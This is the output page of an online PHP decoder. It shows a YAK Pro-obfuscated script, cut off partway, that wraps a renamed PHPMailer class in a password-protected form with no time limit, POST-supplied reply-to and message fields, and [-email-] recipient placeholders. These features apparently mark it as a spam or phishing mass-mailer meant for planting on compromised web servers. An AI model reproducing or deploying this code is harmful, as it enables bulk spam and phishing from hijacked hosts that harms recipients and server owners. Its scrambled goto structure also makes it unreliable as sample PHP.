Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* __________________________________________________ | Obfuscated by YAK P..
Decoded Output download
<?php
/* __________________________________________________
| Obfuscated by YAK Pro - Php Obfuscator 2.0.14 |
| on 2024-12-20 00:57:24 |
| GitHub: https://github.com/pk-fr/yakpro-po |
|__________________________________________________|
*/
goto oWdrj; dRdid: $GLOBALS["replyTo"] = Y_QNK($_POST["replyTo"]); goto FrOX5; YtCF1: set_time_limit(0); goto uenT2; EgTNn: $GLOBALS["messageLetter"] = stripslashes($jRul4); goto IFWPC; FVzpz: goto mjEOz; goto Ne44a; XxfxQ: if (isset($_REQUEST["pass"]) and $_REQUEST["pass"] == $ItTkM) { goto rrhGK; } goto X7Yug; uenT2: ini_set("memory_limit", -1); goto KCr0n; fuvfk: echo "</b></li>
</ul>
<h4>HELP</h4>
<ul>
<li>[-email-] : <b>Reciver Email</b></li>
<li>[-time-] : <b>Date and Time</b> ("; goto H7MwT; X7Yug: print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>"; goto dau_h; IOL0V: class cAgZE { const BtWCq = "iso-8859-1"; const Y54ie = "utf-8"; const Ha_i0 = "text/plain"; const uYtHu = "text/calendar"; const rtK8d = "text/html"; const BUxGZ = "multipart/alternative"; const H7nBA = "multipart/mixed"; const m7yR8 = "multipart/related"; const BAP0e = "7bit"; const spJZd = "8bit"; const GWlmS = "base64"; const ZyBpb = "binary"; const Vz4Kt = "quoted-printable"; public $Priority; public $CharSet = self::BtWCq; public $ContentType = self::Ha_i0; public $Encoding = self::spJZd; public $ErrorInfo = ''; public $From = "root@localhost"; public $FromName = "Root User"; public $Sender = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $Ical = ''; protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = "mail"; public $Sendmail = "/usr/sbin/sendmail"; public $UseSendmailOptions = true; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = "localhost"; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAutoTLS = true; public $SMTPAuth = false; public $SMTPOptions = array(); public $Username = ''; public $Password = ''; public $AuthType = ''; protected $oauth; public $Timeout = 300; public $dsn = ''; public $SMTPDebug = 0; public $Debugoutput = "echo"; public $SMTPKeepAlive = false; public $SingleTo = false; protected $SingleToArray = array(); public $do_verp = false; public $AllowEmpty = false; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_copyHeaderFields = true; public $DKIM_extraHeaders = array(); public $DKIM_private = ''; public $DKIM_private_string = ''; public $action_function = ''; public $XMailer = ''; public static $validator = "php"; protected $smtp; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $RecipientsQueue = array(); protected $ReplyToQueue = array(); protected $attachment = array(); protected $CustomHeader = array(); protected $lastMessageID = ''; protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_extracerts_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; protected $uniqueid = ''; const kQUR3 = "6.0.7"; const kX_nj = 0; const zcFf8 = 1; const OsS1U = 2; protected static $LE = "\xd
"; const B4qnq = 998; const QKaVA = 76; public function __construct($Divh_ = null) { goto zF1A4; zF1A4: if (!(null !== $Divh_)) { goto muJ3b; } goto Ng10k; hHu03: $this->Debugoutput = strpos(PHP_SAPI, "cli") !== false ? "echo" : "html"; goto HI4Mw; Ng10k: $this->exceptions = (bool) $Divh_; goto GCxPP; GCxPP: muJ3b: goto hHu03; HI4Mw: } public function __destruct() { $this->smtpClose(); } private function mailPassthru($cIRlt, $s4bph, $qKvMM, $lTiMf, $vS0Gu) { goto AMp6c; wc0nd: W7CiC: goto oCPSq; yb02l: goto yFDMq; goto QbzBl; Chm4R: $oKqtC = @mail($cIRlt, $s4bph, $qKvMM, $lTiMf); goto Wl5Bl; pNNlB: ORPYE: goto G5EPP; AMp6c: if (ini_get("mbstring.func_overload") & 1) { goto ORPYE; } goto V7nHz; OUz04: return $oKqtC; goto Y0pY1; V7nHz: $s4bph = $this->encodeHeader($this->secureHeader($s4bph)); goto Wk4VD; Wk4VD: goto W7CiC; goto pNNlB; QbzBl: qf7a2: goto Chm4R; G5EPP: $s4bph = $this->secureHeader($s4bph); goto wc0nd; oCPSq: if (!$this->UseSendmailOptions or null === $vS0Gu) { goto qf7a2; } goto cuhZh; cuhZh: $oKqtC = @mail($cIRlt, $s4bph, $qKvMM, $lTiMf, $vS0Gu); goto yb02l; Wl5Bl: yFDMq: goto OUz04; Y0pY1: } protected function edebug($F2YZh) { goto dSPaT; Bv6Kc: switch ($this->Debugoutput) { case "error_log": error_log($F2YZh); goto XUZ_I; case "html": echo htmlentities(preg_replace("/[\r\n]+/", '', $F2YZh), ENT_QUOTES, "UTF-8"), "<br>
"; goto XUZ_I; case "echo": default: $F2YZh = preg_replace("/\r\n|\r/ms", "\xa", $F2YZh); echo gmdate("Y-m-d H:i:s"), "\x9", trim(str_replace("\xa", "\xa ", trim($F2YZh))), "\xa"; } goto sXTAo; mVG4U: xTlfm: goto Qn5nF; KJOzP: if (!(!in_array($this->Debugoutput, ["error_log", "html", "echo"]) and is_callable($this->Debugoutput))) { goto sH5Q_; } goto phPTT; fJA8e: $this->Debugoutput->debug($F2YZh); goto lrIYT; sXTAo: UbqRe: goto kK2sK; dSPaT: if (!($this->SMTPDebug <= 0)) { goto xTlfm; } goto uOJjl; Qn5nF: if (!$this->Debugoutput instanceof \f0y02\Log\AI3FW) { goto zn16w; } goto fJA8e; lrIYT: return; goto TrTUS; rQLTM: return; goto ILoBa; phPTT: call_user_func($this->Debugoutput, $F2YZh, $this->SMTPDebug); goto rQLTM; TrTUS: zn16w: goto KJOzP; ILoBa: sH5Q_: goto Bv6Kc; uOJjl: return; goto mVG4U; kK2sK: XUZ_I: goto kkdPT; kkdPT: } public function isHTML($f_J_S = true) { goto KiV5a; UOMVV: $this->ContentType = static::rtK8d; goto gfAaM; gfAaM: zz0Rv: goto C89XG; wzzaV: goto zz0Rv; goto VshDh; KiV5a: if ($f_J_S) { goto wtMkb; } goto oCRgL; VshDh: wtMkb: goto UOMVV; oCRgL: $this->ContentType = static::Ha_i0; goto wzzaV; C89XG: } public function isSMTP() { $this->Mailer = "smtp"; } public function isMail() { $this->Mailer = "mail"; } public function isSendmail() { goto sysSy; JEUlS: if (false === stripos($XX42c, "sendmail")) { goto xnaAT; } goto J3W4H; sysSy: $XX42c = ini_get("sendmail_path"); goto JEUlS; wGKLN: xnaAT: goto OrdrS; OrdrS: $this->Sendmail = "/usr/sbin/sendmail"; goto Jlw_8; Jlw_8: bODa0: goto ad_a6; ad_a6: $this->Mailer = "sendmail"; goto GoBCi; J3W4H: $this->Sendmail = $XX42c; goto lHpJH; lHpJH: goto bODa0; goto wGKLN; GoBCi: } public function isQmail() { goto fWHfl; ufOKQ: U7tYn: goto erbyv; IP0s3: goto U7tYn; goto Daaa0; ggiU1: $this->Sendmail = "/var/qmail/bin/qmail-inject"; goto ufOKQ; JVO3x: $this->Sendmail = $XX42c; goto IP0s3; Daaa0: IR_Za: goto ggiU1; t7zT5: if (false === stripos($XX42c, "qmail")) { goto IR_Za; } goto JVO3x; erbyv: $this->Mailer = "qmail"; goto RiG76; fWHfl: $XX42c = ini_get("sendmail_path"); goto t7zT5; RiG76: } public function addAddress($Jm2Lh, $UxOLN = '') { return $this->addOrEnqueueAnAddress("to", $Jm2Lh, $UxOLN); } public function addCC($Jm2Lh, $UxOLN = '') { return $this->addOrEnqueueAnAddress("cc", $Jm2Lh, $UxOLN); } public function addBCC($Jm2Lh, $UxOLN = '') { return $this->addOrEnqueueAnAddress("bcc", $Jm2Lh, $UxOLN); } public function addReplyTo($Jm2Lh, $UxOLN = '') { return $this->addOrEnqueueAnAddress("Reply-To", $Jm2Lh, $UxOLN); } protected function addOrEnqueueAnAddress($nPdtN, $Jm2Lh, $UxOLN) { goto Us5T6; EUypK: throw new Exception($u3gJg); goto yacv0; Us5T6: $Jm2Lh = trim($Jm2Lh); goto bBGnj; Ln8wd: return true; goto SnTN5; g9Ycz: $this->ReplyToQueue[$Jm2Lh] = $vS0Gu; goto Ln8wd; kRIlK: if (array_key_exists($Jm2Lh, $this->ReplyToQueue)) { goto G57Lv; } goto g9Ycz; yM2ss: return true; goto RO8sS; bBGnj: $UxOLN = trim(preg_replace("/[\r\n]+/", '', $UxOLN)); goto zYhJX; zYhJX: $xVSEl = strrpos($Jm2Lh, "@"); goto yliTS; mNAw4: if (!($this->has8bitChars(substr($Jm2Lh, ++$xVSEl)) and static::idnSupported())) { goto ESHtv; } goto broMT; ly_Iw: $this->edebug($u3gJg); goto LY6uB; a6jrP: $u3gJg = sprintf("%s (%s): %s", $this->lang("invalid_address"), $nPdtN, $Jm2Lh); goto y3YCk; y3YCk: $this->setError($u3gJg); goto ly_Iw; mwmwY: goto AJk_e; goto x_fxj; RO8sS: zG8X2: goto cuTdy; broMT: if ("Reply-To" != $nPdtN) { goto In3N3; } goto kRIlK; MZD3H: return false; goto IEZK3; F8kOq: $this->RecipientsQueue[$Jm2Lh] = $vS0Gu; goto yM2ss; SnTN5: G57Lv: goto mwmwY; GOOlW: if (array_key_exists($Jm2Lh, $this->RecipientsQueue)) { goto zG8X2; } goto F8kOq; LY6uB: if (!$this->exceptions) { goto UBAQa; } goto EUypK; IEZK3: ESHtv: goto HkbAu; x_fxj: In3N3: goto GOOlW; cfaUU: k1LGH: goto hUZQH; yliTS: if (!(false === $xVSEl)) { goto k1LGH; } goto a6jrP; yacv0: UBAQa: goto ZSNIg; cuTdy: AJk_e: goto MZD3H; hUZQH: $vS0Gu = [$nPdtN, $Jm2Lh, $UxOLN]; goto mNAw4; ZSNIg: return false; goto cfaUU; HkbAu: return call_user_func_array([$this, "addAnAddress"], $vS0Gu); goto Pj8mY; Pj8mY: } protected function addAnAddress($nPdtN, $Jm2Lh, $UxOLN = '') { goto tzq6j; vCfTX: if (static::validateAddress($Jm2Lh)) { goto ECIgk; } goto sIT1n; dEIiq: return true; goto vfmln; ppQoE: if (array_key_exists(strtolower($Jm2Lh), $this->ReplyTo)) { goto ptdSB; } goto inXmB; GLSxJ: if (!$this->exceptions) { goto ojHsH; } goto cG3Jn; FQiQA: $this->edebug($u3gJg); goto GLSxJ; d5KSE: return false; goto iCgZI; ucZFZ: return true; goto IAbu4; gNCDs: HnlQz: goto d5KSE; YaOoO: return false; goto iceMy; CQRWP: $this->setError($u3gJg); goto FQiQA; F5qOp: $this->all_recipients[strtolower($Jm2Lh)] = true; goto dEIiq; kXn6q: ECIgk: goto UEDpS; iceMy: LaBF9: goto vCfTX; UEDpS: if ("Reply-To" != $nPdtN) { goto wr3AX; } goto ppQoE; inXmB: $this->ReplyTo[strtolower($Jm2Lh)] = [$Jm2Lh, $UxOLN]; goto ucZFZ; TQeNa: if (array_key_exists(strtolower($Jm2Lh), $this->all_recipients)) { goto vZs4R; } goto SqH88; cG3Jn: throw new Exception($u3gJg); goto BkK3G; XsA_k: return false; goto kXn6q; sIT1n: $u3gJg = sprintf("%s (%s): %s", $this->lang("invalid_address"), $nPdtN, $Jm2Lh); goto CQRWP; L8HHo: throw new Exception($u3gJg); goto trgf2; tzq6j: if (in_array($nPdtN, ["to", "cc", "bcc", "Reply-To"])) { goto LaBF9; } goto d1oYA; aMAVt: $this->setError($u3gJg); goto h3Bss; h3Bss: $this->edebug($u3gJg); goto G6xRj; QWsu2: goto HnlQz; goto iuk0Q; G6xRj: if (!$this->exceptions) { goto NbILa; } goto L8HHo; SqH88: $this->{$nPdtN}[] = [$Jm2Lh, $UxOLN]; goto F5qOp; d1oYA: $u3gJg = sprintf("%s: %s", $this->lang("Invalid recipient kind"), $nPdtN); goto aMAVt; BkK3G: ojHsH: goto XsA_k; vfmln: vZs4R: goto gNCDs; IAbu4: ptdSB: goto QWsu2; trgf2: NbILa: goto YaOoO; iuk0Q: wr3AX: goto TQeNa; iCgZI: } public static function parseAddresses($vOBGB, $WiunT = true) { goto xHi2R; xHi2R: $bz9I2 = []; goto z2NvI; adAz_: $DKMzr = explode(",", $vOBGB); goto i5JvC; xI2xL: j442S: goto Uwu06; Uwu06: y5Nxr: goto JFlK6; dy7PR: QDSEA: goto f3hpC; nzKSE: goto y5Nxr; goto dy7PR; i5JvC: foreach ($DKMzr as $Jm2Lh) { goto fRmFy; ycrRx: if (strpos($Jm2Lh, "<") === false) { goto Aqpqu; } goto CmDuB; MKw5W: kwIe6: goto KRlcj; ADKsn: if (!static::validateAddress($GM64i)) { goto sVwhr; } goto t3qRd; CmDuB: list($UxOLN, $GM64i) = explode("<", $Jm2Lh); goto ED81n; K2DbR: sVwhr: goto r7h8N; Cn5Tv: aX2ga: goto S8ZJ8; dsRc7: Aqpqu: goto TcKmk; MlLe9: $bz9I2[] = ["name" => '', "address" => $Jm2Lh]; goto Cn5Tv; ED81n: $GM64i = trim(str_replace(">", '', $GM64i)); goto ADKsn; TcKmk: if (!static::validateAddress($Jm2Lh)) { goto aX2ga; } goto MlLe9; fRmFy: $Jm2Lh = trim($Jm2Lh); goto ycrRx; t3qRd: $bz9I2[] = ["name" => trim(str_replace([""", "'"], '', $UxOLN)), "address" => $GM64i]; goto K2DbR; r7h8N: goto eUyzN; goto dsRc7; S8ZJ8: eUyzN: goto MKw5W; KRlcj: } goto SlWd4; f3hpC: $DKMzr = uW8uC($vOBGB, ''); goto FGVnk; FGVnk: foreach ($DKMzr as $Jm2Lh) { goto V2Ul5; V2Ul5: if (!(".SYNTAX-ERROR." != $Jm2Lh->host)) { goto JWRgr; } goto jvWYS; SDNUy: $bz9I2[] = ["name" => property_exists($Jm2Lh, "personal") ? $Jm2Lh->personal : '', "address" => $Jm2Lh->mailbox . "@" . $Jm2Lh->host]; goto rd2Ig; JxLPd: u8qJb: goto z3Qca; jvWYS: if (!static::validateAddress($Jm2Lh->mailbox . "@" . $Jm2Lh->host)) { goto UNqQX; } goto SDNUy; rd2Ig: UNqQX: goto ziJv5; ziJv5: JWRgr: goto JxLPd; z3Qca: } goto xI2xL; z2NvI: if ($WiunT and function_exists("UW8uc")) { goto QDSEA; } goto adAz_; SlWd4: jOHAl: goto nzKSE; JFlK6: return $bz9I2; goto LmwN_; LmwN_: } public function setFrom($Jm2Lh, $UxOLN = '', $IU2Tm = true) { goto zr9Jn; gUtoe: throw new Exception($u3gJg); goto FOiJo; jLtVC: if (!empty($this->Sender)) { goto pQCPI; } goto ITPlZ; eHI6c: amVI5: goto Ikodc; tYzuE: $u3gJg = sprintf("%s (From): %s", $this->lang("invalid_address"), $Jm2Lh); goto FxldG; Ikodc: $this->From = $Jm2Lh; goto hgdQ9; zr9Jn: $Jm2Lh = trim($Jm2Lh); goto teSsD; GOaua: if (!$IU2Tm) { goto mmmYR; } goto jLtVC; FOiJo: DEnED: goto V2N0J; ITPlZ: $this->Sender = $Jm2Lh; goto I4Dkr; MXgr6: if (!$this->exceptions) { goto DEnED; } goto gUtoe; w5CvF: return true; goto F0OI8; Jz5xO: $this->edebug($u3gJg); goto MXgr6; A0V_2: mmmYR: goto w5CvF; V2N0J: return false; goto eHI6c; RU0_J: if (!(false === $xVSEl or (!$this->has8bitChars(substr($Jm2Lh, ++$xVSEl)) or !static::idnSupported()) and !static::validateAddress($Jm2Lh))) { goto amVI5; } goto tYzuE; FxldG: $this->setError($u3gJg); goto Jz5xO; lsHYD: $xVSEl = strrpos($Jm2Lh, "@"); goto RU0_J; hgdQ9: $this->FromName = $UxOLN; goto GOaua; I4Dkr: pQCPI: goto A0V_2; teSsD: $UxOLN = trim(preg_replace("/[\r\n]+/", '', $UxOLN)); goto lsHYD; F0OI8: } public function getLastMessageID() { return $this->lastMessageID; } public static function validateAddress($Jm2Lh, $Kikda = null) { goto OBKjb; h8Tu3: if (!(strpos($Jm2Lh, "
") !== false or strpos($Jm2Lh, "\xd") !== false)) { goto oE0wW; } goto nqXMa; vFJAp: QDgzU: goto EQjep; TulPF: return call_user_func($Kikda, $Jm2Lh); goto VKUjC; nqXMa: return false; goto GwtVx; EQjep: if (!is_callable($Kikda)) { goto gx0yh; } goto TulPF; BR1nV: switch ($Kikda) { case "pcre": case "pcre8": return (bool) preg_match("/^(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){65,}@)" . "((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)" . "(?>[\x01-\x08\x0B\x0C\x0E-'*-\[\]-\x7F]|\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)" . "([!#-'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\x7F]))*" . "(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)" . "(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}" . "|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:" . "|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}" . "|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD", $Jm2Lh); case "html5": return (bool) preg_match("/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}" . "[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD", $Jm2Lh); case "php": default: return (bool) filter_var($Jm2Lh, FILTER_VALIDATE_EMAIL); } goto DLC2K; BFbgy: WjjOS: goto mfmPz; DLC2K: KPgV6: goto BFbgy; GwtVx: oE0wW: goto BR1nV; VKUjC: gx0yh: goto h8Tu3; U1CXI: $Kikda = static::$validator; goto vFJAp; OBKjb: if (!(null === $Kikda)) { goto QDgzU; } goto U1CXI; mfmPz: } public static function idnSupported() { return function_exists("oOoHn") and function_exists("jpRBc"); } public function punyencodeAddress($Jm2Lh) { goto K5o3q; fkjhx: if (!(static::idnSupported() and !empty($this->CharSet) and false !== $xVSEl)) { goto D4EQC; } goto FVaNG; AUL7s: return substr($Jm2Lh, 0, $xVSEl) . $GOhZY; goto Obc6M; K5o3q: $xVSEl = strrpos($Jm2Lh, "@"); goto fkjhx; wSsXm: D4EQC: goto SpNVa; AoG6G: if (!($this->has8bitChars($x3SRP) and @z2GB1($x3SRP, $this->CharSet))) { goto C09C7; } goto Pmx0b; SoKVD: $Cu5HS = 0; goto CKbnB; FVaNG: $x3SRP = substr($Jm2Lh, ++$xVSEl); goto AoG6G; Pmx0b: $x3SRP = jprBc($x3SRP, "UTF-8", $this->CharSet); goto SoKVD; CKbnB: $GOhZY = OooHN($x3SRP, $Cu5HS, Z7mWX); goto VSVCf; SpNVa: return $Jm2Lh; goto reE9_; Obc6M: cVSCe: goto BL5S_; BL5S_: C09C7: goto wSsXm; VSVCf: if (!(false !== $GOhZY)) { goto cVSCe; } goto AUL7s; reE9_: } public function send() { try { goto Xlvvc; Mp0mA: HwBkD: goto a0goO; a0goO: return $this->postSend(); goto DRjDo; Xlvvc: if ($this->preSend()) { goto HwBkD; } goto Bn22D; Bn22D: return false; goto Mp0mA; DRjDo: } catch (Exception $AggU6) { goto zvPR_; PPUYG: if (!$this->exceptions) { goto Y06Tm; } goto lR6M7; lR6M7: throw $AggU6; goto kx1Yu; zvPR_: $this->mailHeader = ''; goto D21uA; StxTP: return false; goto Zilym; D21uA: $this->setError($AggU6->getMessage()); goto PPUYG; kx1Yu: Y06Tm: goto StxTP; Zilym: } } public function preSend() { goto uGbgE; UkKp7: if (!(ini_get("mail.add_x_header") == 1 and "mail" == $this->Mailer and stripos(PHP_OS, "WIN") === 0 and (version_compare(PHP_VERSION, "7.0.0", ">=") and version_compare(PHP_VERSION, "7.0.17", "<") or version_compare(PHP_VERSION, "7.1.0", ">=") and version_compare(PHP_VERSION, "7.1.3", "<")))) { goto YePiA; } goto uYLeb; GQ3oH: try { goto VPOGe; atGbz: if (!(!$this->AllowEmpty and empty($this->Body))) { goto x9Rjq; } goto fsrlX; AMJuK: lzGu2: goto c6zhX; p0pt5: $this->mailHeader .= $this->headerLine("Subject", $this->encodeHeader($this->secureHeader($this->Subject))); goto uEj5r; WcAyU: $this->Subject = trim($this->Subject); goto zcFaB; BtRXS: foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $vS0Gu) { goto Jv_EM; xSVaM: call_user_func_array([$this, "addAnAddress"], $vS0Gu); goto xAzOW; xAzOW: aADDy: goto pzIz0; Jv_EM: $vS0Gu[1] = $this->punyencodeAddress($vS0Gu[1]); goto xSVaM; pzIz0: } goto iqKcu; fHbAj: if (!(count($this->to) + count($this->cc) + count($this->bcc) < 1)) { goto HU0KK; } goto PQjNv; h31qa: $this->MIMEHeader .= $FAjcT; goto wib31; MgpUy: x9Rjq: goto WcAyU; zRTle: goto Md6bk; goto fYJE3; vhpa1: $RNVGt = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody); goto LHKYa; fsrlX: throw new Exception($this->lang("empty_message"), self::OsS1U); goto MgpUy; sEiCj: $this->MIMEHeader = $this->createHeader(); goto h31qa; vbkEH: SRGgv: goto MsAql; mkMkI: HU0KK: goto prA5q; Salm1: $this->setMessageType(); goto atGbz; uruTZ: Md6bk: goto p0pt5; JMsFZ: vwc95: goto Salm1; iqKcu: MHOEW: goto fHbAj; LHKYa: $this->MIMEHeader = rtrim($this->MIMEHeader, "\xd
") . static::$LE . static::normalizeBreaks($RNVGt) . static::$LE; goto AMJuK; OIumw: $FAjcT = $this->MIMEHeader; goto sEiCj; wib31: if (!("mail" == $this->Mailer)) { goto IyjcL; } goto cf5W8; uEj5r: IyjcL: goto rG34j; prA5q: foreach (["From", "Sender", "ConfirmReadingTo"] as $i4Z49) { goto Qb5cF; AonhC: return false; goto s4f_Q; iUt8F: $this->edebug($u3gJg); goto TB2p3; bF7Qa: throw new Exception($u3gJg); goto ZCMBf; gSwcD: if (!empty($this->{$i4Z49})) { goto Fuh5N; } goto ejpcE; hU7_c: $u3gJg = sprintf("%s (%s): %s", $this->lang("invalid_address"), $i4Z49, $this->{$i4Z49}); goto M5DnX; DVG4g: if (static::validateAddress($this->{$i4Z49})) { goto aKxS_; } goto hU7_c; EgDGH: qWBPz: goto UBB2C; ZCMBf: o7_k5: goto AonhC; M5DnX: $this->setError($u3gJg); goto iUt8F; tkv6P: $this->{$i4Z49} = $this->punyencodeAddress($this->{$i4Z49}); goto DVG4g; TB2p3: if (!$this->exceptions) { goto o7_k5; } goto bF7Qa; s4f_Q: aKxS_: goto EgDGH; xI7DM: Fuh5N: goto tkv6P; Qb5cF: $this->{$i4Z49} = trim($this->{$i4Z49}); goto gSwcD; ejpcE: goto qWBPz; goto xI7DM; UBB2C: } goto vbkEH; rG34j: if (!(!empty($this->DKIM_domain) and !empty($this->DKIM_selector) and (!empty($this->DKIM_private_string) or !empty($this->DKIM_private) and static::isPermittedPath($this->DKIM_private) and file_exists($this->DKIM_private)))) { goto lzGu2; } goto vhpa1; lNgyq: $this->mailHeader = ''; goto BtRXS; fYJE3: pzYUk: goto bL2j1; bL2j1: $this->mailHeader .= $this->addrAppend("To", $this->to); goto uruTZ; cf5W8: if (count($this->to) > 0) { goto pzYUk; } goto MJL8k; zcFaB: $this->MIMEHeader = ''; goto CCMwv; c6zhX: return true; goto VKIVw; MJL8k: $this->mailHeader .= $this->headerLine("To", "undisclosed-recipients:;"); goto zRTle; CCMwv: $this->MIMEBody = $this->createBody(); goto OIumw; VPOGe: $this->error_count = 0; goto lNgyq; MsAql: if (!$this->alternativeExists()) { goto vwc95; } goto D1bv6; D1bv6: $this->ContentType = static::BUxGZ; goto JMsFZ; PQjNv: throw new Exception($this->lang("provide_address"), self::OsS1U); goto mkMkI; VKIVw: } catch (Exception $AggU6) { goto R1ATV; R1ATV: $this->setError($AggU6->getMessage()); goto yXjMk; VryKg: return false; goto d00Cu; blDGg: throw $AggU6; goto zXNPH; yXjMk: if (!$this->exceptions) { goto NuIRy; } goto blDGg; zXNPH: NuIRy: goto VryKg; d00Cu: } goto x87Wb; uYLeb: trigger_error("Your version of PHP is affected by a bug that may result in corrupted messages." . " To fix it, switch to sending using SMTP, disable the mail.add_x_header option in" . " your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.", E_USER_WARNING); goto qyhfI; GfBD3: LW4d2: goto PeqFJ; mrx9Q: goto sV6im; goto GfBD3; VB9PX: sV6im: goto UkKp7; qyhfI: YePiA: goto GQ3oH; PeqFJ: static::setLE("\xd
"); goto VB9PX; uGbgE: if ("smtp" == $this->Mailer or "mail" == $this->Mailer and stripos(PHP_OS, "WIN") === 0) { goto LW4d2; } goto xx543; xx543: static::setLE(PHP_EOL); goto mrx9Q; x87Wb: } public function postSend() { try { goto muakK; muakK: switch ($this->Mailer) { case "sendmail": case "qmail": return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case "smtp": return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case "mail": return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: goto U993B; SbpG2: pdC_G: goto oX8qd; U993B: $hXLRz = $this->Mailer . "Send"; goto rKYNu; oX8qd: return $this->mailSend($this->MIMEHeader, $this->MIMEBody); goto HFfWD; tQFpg: return $this->{$hXLRz}($this->MIMEHeader, $this->MIMEBody); goto SbpG2; rKYNu: if (!method_exists($this, $hXLRz)) { goto pdC_G; } goto tQFpg; HFfWD: } goto SMlu5; SMlu5: pQ5Zv: goto fVqix; fVqix: G0LsT: goto Btpw_; Btpw_: } catch (Exception $AggU6) { goto lvbfS; Trgq5: throw $AggU6; goto bRUJf; bRUJf: vYjdk: goto rb2b2; a2UDl: $this->edebug($AggU6->getMessage()); goto CNDUV; lvbfS: $this->setError($AggU6->getMessage()); goto a2UDl; CNDUV: if (!$this->exceptions) { goto vYjdk; } goto Trgq5; rb2b2: } return false; } protected function sendmailSend($lTiMf, $qKvMM) { goto ARVPs; ePUVs: PVv0x: goto Fhpb9; NshtH: yz4Lh: goto zFbtP; bMYPY: return true; goto Fxdtm; g0Vhf: $pfSM7 = "%s"; goto mosvr; OxI5R: if (!(0 !== $oKqtC)) { goto B0UCv; } goto VKB0U; h0A4q: $pfSM7 = "%s -oi -f%s -t"; goto KSCuv; L4K4I: goto PVv0x; goto NshtH; tuQEy: throw new Exception($this->lang("execute") . $this->Sendmail, self::OsS1U); goto RFWMc; rCU4l: fwrite($s18bE, $lTiMf); goto NI69v; m5bxI: $this->doCallback($oKqtC == 0, $this->to, $this->cc, $this->bcc, $this->Subject, $qKvMM, $this->From, []); goto OxI5R; LcHVD: Yjg3U: goto zMgQ4; ARVPs: if (!empty($this->Sender) and self::isShellSafe($this->Sender)) { goto yz4Lh; } goto mzYfG; GSots: $s18bE = @popen($sRh0S, "w"); goto YGB9e; SwE37: U2tY3: goto YR4cO; F2Zqx: goto gsh1U; goto gPdiD; VKB0U: throw new Exception($this->lang("execute") . $this->Sendmail, self::OsS1U); goto Se4Ng; j1gPF: $pfSM7 = "%s -f%s"; goto JOAGu; Se4Ng: B0UCv: goto WZzr5; Fhpb9: $sRh0S = sprintf($pfSM7, escapeshellcmd($this->Sendmail), $this->Sender); goto GQqbZ; jeChy: $oKqtC = pclose($s18bE); goto m5bxI; zFbtP: if ("qmail" == $this->Mailer) { goto g386u; } goto h0A4q; KSCuv: goto sOfPE; goto fZgJW; RFWMc: HQ3rg: goto rCU4l; JjuZp: $pfSM7 = "%s -oi -t"; goto F2Zqx; fZgJW: g386u: goto j1gPF; NI69v: fwrite($s18bE, $qKvMM); goto jeChy; YGB9e: if ($s18bE) { goto HQ3rg; } goto tuQEy; zMgQ4: foreach ($this->SingleToArray as $eXV7I) { goto JUuZz; fMvea: if (!(0 !== $oKqtC)) { goto Ch7og; } goto OBYsr; JUuZz: $s18bE = @popen($sRh0S, "w"); goto taUGK; ZHSud: HAkR7: goto vvA3x; ZR4Pi: fwrite($s18bE, $lTiMf); goto UuIOZ; Ugp9C: throw new Exception($this->lang("execute") . $this->Sendmail, self::OsS1U); goto ZHSud; xd6H3: $this->doCallback($oKqtC == 0, [$eXV7I], $this->cc, $this->bcc, $this->Subject, $qKvMM, $this->From, []); goto fMvea; OBYsr: throw new Exception($this->lang("execute") . $this->Sendmail, self::OsS1U); goto Xpb69; vvA3x: fwrite($s18bE, "To: " . $eXV7I . "\xa"); goto ZR4Pi; xSNHa: Z6nvd: goto ypW5S; Xpb69: Ch7og: goto xSNHa; taUGK: if ($s18bE) { goto HAkR7; } goto Ugp9C; UuIOZ: fwrite($s18bE, $qKvMM); goto VdLf0; VdLf0: $oKqtC = pclose($s18bE); goto xd6H3; ypW5S: } goto SwE37; mzYfG: if ("qmail" == $this->Mailer) { goto NLgjb; } goto JjuZp; mosvr: gsh1U: goto L4K4I; YR4cO: WVkuB: goto 